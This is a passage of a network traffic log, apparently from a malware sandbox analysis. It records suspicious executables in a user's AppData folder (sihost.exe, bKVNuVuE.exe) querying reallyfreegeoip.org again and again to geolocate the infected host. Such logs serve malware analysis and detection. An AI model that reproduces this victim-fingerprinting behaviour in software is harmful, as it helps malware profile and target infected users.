2024-08-13 18:24:57 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:24:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49179	188.114.97.3	443	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:24:59 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-08-13 18:24:59 UTC	708	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:24:59 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10602 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sNhOTFuvhPzFe7x%2Bl3r19CknrqADDfvfEN8cqyPMjqaNQ6eG%2BV%2FzdTWT%2FZZbMNV6MFVcwNMWVTjIMEZiy6zPlMUDC0dffNfFynrDZCGWtu6oIsnzYK5z0tp2cAm7kZkgwRhykPjG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abec65a861839-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:24:59 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:24:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49180	188.114.97.3	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:00 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-08-13 18:25:00 UTC	710	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:00 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10603 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LvF7HFXtnbhe6kj%2B43LXjuztpYzhy3v1F%2Ff676RJcJ7MCZ5lA6p8%2B99I6SCVVf%2Fb8MBoXmpjELG4x4o%2BOvVuaIUBDtMm7pMbSFXrP0hOMSf2Or3205JL6irRn1npBwKcXG0LmJNq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abec8fc8e17b5-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:25:00 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:25:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.22	49182	188.114.97.3	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:01 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-08-13 18:25:01 UTC	706	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:01 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10604 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BBWS4PfZ8xlHByKvjoVN1z86HH%2BLnDmvNjBe39bBx1mUC26thgAZI48IhMfkDItgLzmOn61BBkwtVXupQeIDchhpEdWBOBzl%2Br%2BJZ43aHuSLzxaOySGg8Bx1Gi7DYDUikn7keUTm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abed31a347295-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:25:01 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:25:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.22	49184	188.114.97.3	443	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:04 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-08-13 18:25:04 UTC	712	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:04 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10607 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Kz3nlrtNGneosxUeojg66BQPbgB%2FZSZB79Q70c9t%2FeM0%2Bq%2BmvD5OLlhr7rmNMLnwZHAkDokdSgUo1lt2qph8yyKbw5NuN8fuxT4G1SRwIm8qIm8j%2FHVM8jS%2BTU1sHOoX710IYuO7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abee1ac3b8cad-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:25:04 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:25:04 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.22	49186	188.114.97.3	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:14 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-08-13 18:25:14 UTC	708	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:14 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10617 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xPZnzvcUEyuJlmQY3AfkjM7IO6CSKlHk292xENU9A9NWZlvIvQgctWASAd%2FfKAUvjXO%2F7%2FRdzjgXYPr9MpPxln9swIcbL0Z1mOqTA4HIb6wymmLmuzBwYMVbRHaFlM8KI%2Fo2xT1Y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abf218f26c32c-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:25:14 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:25:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.22	49188	188.114.96.3	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:17 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-08-13 18:25:18 UTC	708	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:17 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10620 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7Hu7rvGr%2BlqJihS6uq2jjgiAR47Owqa5ZosHZccCDZ%2BUoxnYLMXlYRbzircZjFJf%2FL4s8Q0n5EPVk5Q%2BPmwI95EhTgNPCawEXygx86gKu86v7OxwkqOFMFYA1YbhPfWeVW9E0ybg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abf333bf5424c-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:25:18 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:25:18 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.22	49190	188.114.97.3	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:19 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-08-13 18:25:19 UTC	706	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:19 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10622 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WTcXlxnaUywAeluNvmYfbdWVdMTZPhrPofCH%2B4pPG%2FdiUSOrLktNPRRDs%2BAlEOIga7I0H46Bqb6udB40MNeJVvvLOCkKch223fUVr1kL7bqQH70SgopqlKaw7TbIh3nRexHJ4LrC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abf4288292394-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:25:19 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:25:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.22	49192	188.114.97.3	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:21 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-08-13 18:25:21 UTC	704	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:21 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10624 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=X0kyuK18hPvI5nxiXbsj7pyXe8mXAg7d6HNPmcJ5u6w0a2pJa14lsUNniXQYNUuUH4V7wjeHREdqO%2F5gI82YXztDeTkJ6YFLNxY7%2Fkagm45DpDT3HFryggkMtHgStDjzp2SnDMsa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abf4bbd147d26-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:25:21 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:25:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.22	49195	188.114.96.3	443	3560	C:\Users\user\AppData\Roaming\bKVNuVuE.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:26 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-08-13 18:25:26 UTC	702	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:26 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10629 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jLTVZT6Ue7MEOpG%2BqkpyitEUr8BMBeN8lfUIekt0BorniaGvgAeBktL19w5hDWtQqVR5PdJVvylK9s4vKVaQI8ZWh1tVy5uViOSxcC9L9LbOFk3rCdSegfkGnmDKsqI2RQWM97J4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abf6e9b48c434-EWR alt-svc: h3=":443"; ma=86400
2024-08-13 18:25:26 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-08-13 18:25:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.22	49197	188.114.96.3	443	3620	C:\Users\user\AppData\Roaming\sihost.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-13 18:25:32 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-08-13 18:25:32 UTC	706	IN	HTTP/1.1 200 OK Date: Tue, 13 Aug 2024 18:25:32 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 10635 Last-Modified: Tue, 13 Aug 2024 15:28:17 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h9WjhMy0NzbvMJIrsZ0MLvqf43O80DScBFHsL%2BrLoUrksAUKrcSGzJih59hX5reW4xZ9LVpejnMxDX5UeeKFbIpWv3DeWmREaGvj80BycEdfGMvHxZE5HNrjG0r%2F2dH0GOUtGLR%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b2abf91b9b14316-EWR alt-svc: h3=":443"; ma=86400
